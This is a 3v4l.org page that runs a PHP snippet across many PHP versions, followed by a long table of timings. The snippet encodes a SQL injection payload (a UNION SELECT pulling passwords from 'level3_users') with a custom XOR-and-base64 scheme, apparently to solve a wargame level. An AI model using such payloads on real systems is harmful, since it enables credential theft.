3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin UNION SELECT 1,password,3,4,5,6,7 FROM level3_users WHERE username=0x41646d696e --"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00417.00
8.3.50.0100.00517.76
8.3.40.0040.01118.92
8.3.30.0080.00619.04
8.3.20.0080.00018.95
8.3.10.0040.00420.77
8.3.00.0070.00319.63
8.2.180.0140.00716.88
8.2.170.0000.01922.96
8.2.160.0070.00721.06
8.2.150.0000.00824.18
8.2.140.0000.00824.66
8.2.130.0000.00826.16
8.2.120.0050.00319.48
8.2.110.0070.00422.13
8.2.100.0040.00818.16
8.2.90.0030.00619.22
8.2.80.0080.00017.97
8.2.70.0030.00617.88
8.2.60.0030.00618.16
8.2.50.0050.00318.10
8.2.40.0100.00018.22
8.2.30.0040.00418.25
8.2.20.0000.00817.85
8.2.10.0020.00517.82
8.2.00.0040.00417.96
8.1.270.0040.00424.66
8.1.260.0080.00026.35
8.1.250.0080.00028.09
8.1.240.0070.00322.34
8.1.230.0080.00417.89
8.1.220.0030.00517.91
8.1.210.0040.00418.77
8.1.200.0030.00617.60
8.1.190.0000.00817.48
8.1.180.0000.00818.10
8.1.170.0030.00618.96
8.1.160.0000.00718.90
8.1.150.0040.00418.71
8.1.140.0040.00417.52
8.1.130.0040.00417.77
8.1.120.0030.00517.50
8.1.110.0040.00417.61
8.1.100.0040.00417.64
8.1.90.0040.00417.51
8.1.80.0050.00317.56
8.1.70.0040.00417.63
8.1.60.0000.00817.78
8.1.50.0040.00417.54
8.1.40.0000.00817.69
8.1.30.0050.00317.86
8.1.20.0040.00417.84
8.1.10.0030.00517.86
8.1.00.0050.00317.60
8.0.300.0030.00718.77
8.0.290.0000.00716.88
8.0.280.0070.00018.42
8.0.270.0020.00517.32
8.0.260.0070.00017.06
8.0.250.0080.00017.11
8.0.240.0030.00617.07
8.0.230.0040.00417.12
8.0.220.0030.00317.08
8.0.210.0040.00416.98
8.0.200.0000.00717.00
8.0.190.0080.00017.19
8.0.180.0000.00817.11
8.0.170.0030.00717.15
8.0.160.0020.00517.05
8.0.150.0090.00016.91
8.0.140.0000.00817.08
8.0.130.0000.00613.48
8.0.120.0040.00417.02
8.0.110.0000.00716.97
8.0.100.0000.00817.04
8.0.90.0040.00417.15
8.0.80.0040.01117.09
8.0.70.0040.00417.09
8.0.60.0040.00416.89
8.0.50.0040.00416.86
8.0.30.0080.01217.09
8.0.20.0080.01117.17
8.0.10.0000.00817.21
8.0.00.0110.01017.08
7.4.330.0000.00513.24
7.4.320.0000.00716.84
7.4.300.0040.00416.89
7.4.290.0000.00716.76
7.4.280.0040.00416.77
7.4.270.0000.00716.84
7.4.260.0060.00013.52
7.4.250.0030.00616.66
7.4.240.0070.00016.85
7.4.230.0000.00716.96
7.4.220.0070.01316.73
7.4.210.0110.00716.82
7.4.200.0000.00716.86
7.4.190.0000.00716.95
7.4.160.0070.01016.66
7.4.150.0060.01316.78
7.4.140.0120.00716.68
7.4.130.0050.01216.74
7.4.120.0080.00816.67
7.4.110.0100.01317.02
7.4.100.0090.00916.78
7.4.90.0160.00716.64
7.4.80.0060.01219.39
7.4.70.0090.00916.61
7.4.60.0090.01116.71
7.4.50.0090.00016.86
7.4.40.0030.01416.75
7.4.30.0130.00316.91
7.4.00.0070.00715.21
7.3.330.0060.00013.38
7.3.320.0000.00513.50
7.3.310.0030.00316.42
7.3.300.0000.00716.43
7.3.290.0070.00816.55
7.3.280.0060.01016.58
7.3.270.0090.00816.71
7.3.260.0080.00916.71
7.3.250.0120.00916.59
7.3.240.0070.01116.98
7.3.230.0040.01316.76
7.3.210.0060.01316.59
7.3.200.0100.01316.79
7.3.190.0100.00716.54
7.3.180.0100.00716.53
7.3.170.0030.01316.59
7.3.160.0160.00016.76
7.3.120.0140.00315.04
7.2.330.0030.01416.99
7.2.320.0110.01116.81
7.2.310.0070.01616.87
7.2.300.0090.00916.88
7.2.290.0160.00616.99
7.2.80.0040.01116.89
7.2.60.0040.01117.11
7.2.00.0090.00919.78
7.1.200.0000.01015.84
7.1.100.0150.01216.41
7.1.70.0000.00817.23
7.1.60.0030.02219.40
7.1.50.0070.01417.24
7.1.00.0030.07322.43
7.0.200.0640.00614.94
7.0.140.0100.06721.96
7.0.120.0030.07322.05
7.0.60.0200.05019.95
7.0.50.0100.08718.03
7.0.40.0230.04320.32
7.0.30.0330.07720.29
7.0.20.0430.07020.16
7.0.10.0300.05320.17
7.0.00.0270.04720.12
5.6.280.0030.07320.91
5.6.210.0100.06320.70
5.6.200.0000.04318.14
5.6.190.0370.05720.57
5.6.180.0470.06320.52
5.6.170.0270.04320.61
5.6.160.0270.08020.60
5.6.150.0270.07720.40
5.6.140.0370.06320.42
5.6.130.0330.06320.34
5.6.120.0300.07320.41
5.6.110.0330.04320.48
5.6.100.0370.07020.49
5.6.90.0270.04320.30
5.6.80.0230.04019.55
5.6.70.0270.05319.90
5.6.60.0270.06719.78
5.6.50.0400.06319.91
5.6.40.0300.04319.86
5.6.30.0370.06319.70
5.6.20.0370.03019.68
5.6.10.0230.04319.85
5.6.00.0300.03319.71
5.5.350.0170.07720.47
5.5.340.0070.08317.95
5.5.330.0430.07020.37
5.5.320.0370.05320.28
5.5.310.0300.03720.27
5.5.300.0330.07019.97
5.5.290.0200.05320.23
5.5.280.0330.07020.30
5.5.270.0300.04020.32
5.5.260.0300.08020.13
5.5.250.0230.04319.98
5.5.240.0270.08019.68
5.5.230.0300.06719.34
5.5.220.0300.05319.59
5.5.210.0170.04719.56
5.5.200.0330.06719.65
5.5.190.0170.05319.65
5.5.180.0330.07019.68
5.5.160.0330.07019.34
5.5.150.0370.03019.32
5.5.140.0170.06719.48
5.5.130.0200.04319.32
5.5.120.0230.04719.31
5.5.110.0330.07319.34
5.5.100.0300.07019.55
5.5.90.0300.03319.46
5.5.80.0330.06719.27
5.5.70.0300.03319.24
5.5.60.0230.04019.48
5.5.50.0300.06719.54
5.5.40.0300.06319.49
5.5.30.0230.04019.46
5.5.20.0200.04319.46
5.5.10.0270.04719.30
5.5.00.0200.05719.36
5.4.450.0300.05719.18
5.4.440.0270.08019.48
5.4.430.0230.08319.56
5.4.420.0270.05719.50
5.4.410.0230.06019.36
5.4.400.0370.04019.15
5.4.390.0300.04319.01
5.4.380.0400.06019.15
5.4.370.0300.04719.28
5.4.360.0300.05019.15
5.4.350.0270.07719.21
5.4.340.0330.05319.25
5.4.320.0230.04318.88
5.4.310.0300.04318.86
5.4.300.0370.07019.15
5.4.290.0330.06718.96
5.4.280.0230.03718.98
5.4.270.0230.04018.89
5.4.260.0330.07019.07
5.4.250.0270.04718.98
5.4.240.0300.07318.92
5.4.230.0230.05319.20
5.4.220.0200.04019.07
5.4.210.0370.02319.23
5.4.200.0400.03319.25
5.4.190.0300.03319.23
5.4.180.0230.05019.18
5.4.170.0300.07319.23
5.4.160.0230.06018.98
5.4.150.0230.05318.98
5.4.140.0300.07316.43
5.4.130.0230.03716.29
5.4.120.0230.03716.44
5.4.110.0370.04316.34
5.4.100.0330.06316.35
5.4.90.0230.05016.33
5.4.80.0230.07716.43
5.4.70.0330.06716.43
5.4.60.0330.06316.41
5.4.50.0230.04016.28
5.4.40.0200.03716.47
5.4.30.0230.07316.40
5.4.20.0400.05716.42
5.4.10.0270.04016.43
5.4.00.0230.06715.78
5.3.290.0230.05314.70
5.3.280.0230.04014.59
5.3.270.0230.04314.77
5.3.260.0330.07014.76
5.3.250.0300.05314.61
5.3.240.0330.02714.69
5.3.230.0270.03314.64
5.3.220.0270.03314.62
5.3.210.0330.06314.46
5.3.200.0230.05014.63
5.3.190.0300.07014.58
5.3.180.0230.07714.73
5.3.170.0300.05314.58
5.3.160.0300.07314.57
5.3.150.0370.05014.61
5.3.140.0330.04714.71
5.3.130.0270.04714.58
5.3.120.0300.06314.57
5.3.110.0300.03314.63
5.3.100.0400.06314.11
5.3.90.0330.05314.01
5.3.80.0330.06714.02
5.3.70.0270.04314.07
5.3.60.0270.07014.01
5.3.50.0300.06314.00
5.3.40.0370.05013.96
5.3.30.0230.03713.97
5.3.20.0300.05013.62
5.3.10.0370.06013.71
5.3.00.0300.06313.64
5.2.170.0200.04712.84
5.2.160.0230.05712.84
5.2.150.0230.04012.84
5.2.140.0230.03312.84
5.2.130.0230.04712.84
5.2.120.0230.03712.84
5.2.110.0270.04312.84
5.2.100.0200.03312.84
5.2.90.0200.06312.84
5.2.80.0200.05312.84
5.2.70.0270.05012.84
5.2.60.0230.03012.84
5.2.50.0200.04012.84
5.2.40.0200.03712.84
5.2.30.0230.02312.84
5.2.20.0230.05312.84
5.2.10.0200.03712.84
5.2.00.0230.03712.84
5.1.60.0230.05012.84
5.1.50.0170.04312.84
5.1.40.0170.02312.84
5.1.30.0270.05012.84
5.1.20.0200.04312.84
5.1.10.0230.05012.84
5.1.00.0170.03312.84
5.0.50.0100.04312.84
5.0.40.0170.04012.84
5.0.30.0100.05312.84
5.0.20.0170.01312.84
5.0.10.0100.02312.84
5.0.00.0070.03012.84
4.4.90.0100.02012.84
4.4.80.0170.01312.84
4.4.70.0070.01712.84
4.4.60.0030.02012.84
4.4.50.0100.03312.84
4.4.40.0070.04012.84
4.4.30.0070.01712.84
4.4.20.0100.02312.84
4.4.10.0100.03712.84
4.4.00.0100.03712.84
4.3.110.0170.03012.84
4.3.100.0130.02712.84
4.3.90.0070.02312.84
4.3.80.0100.02312.84
4.3.70.0100.01712.84
4.3.60.0100.02312.84
4.3.50.0100.03312.84
4.3.40.0070.04312.84
4.3.30.0100.03312.84
4.3.20.0030.03712.84
4.3.10.0030.02712.84
4.3.00.0000.02712.84

preferences:
57.32 ms | 400 KiB | 5 Q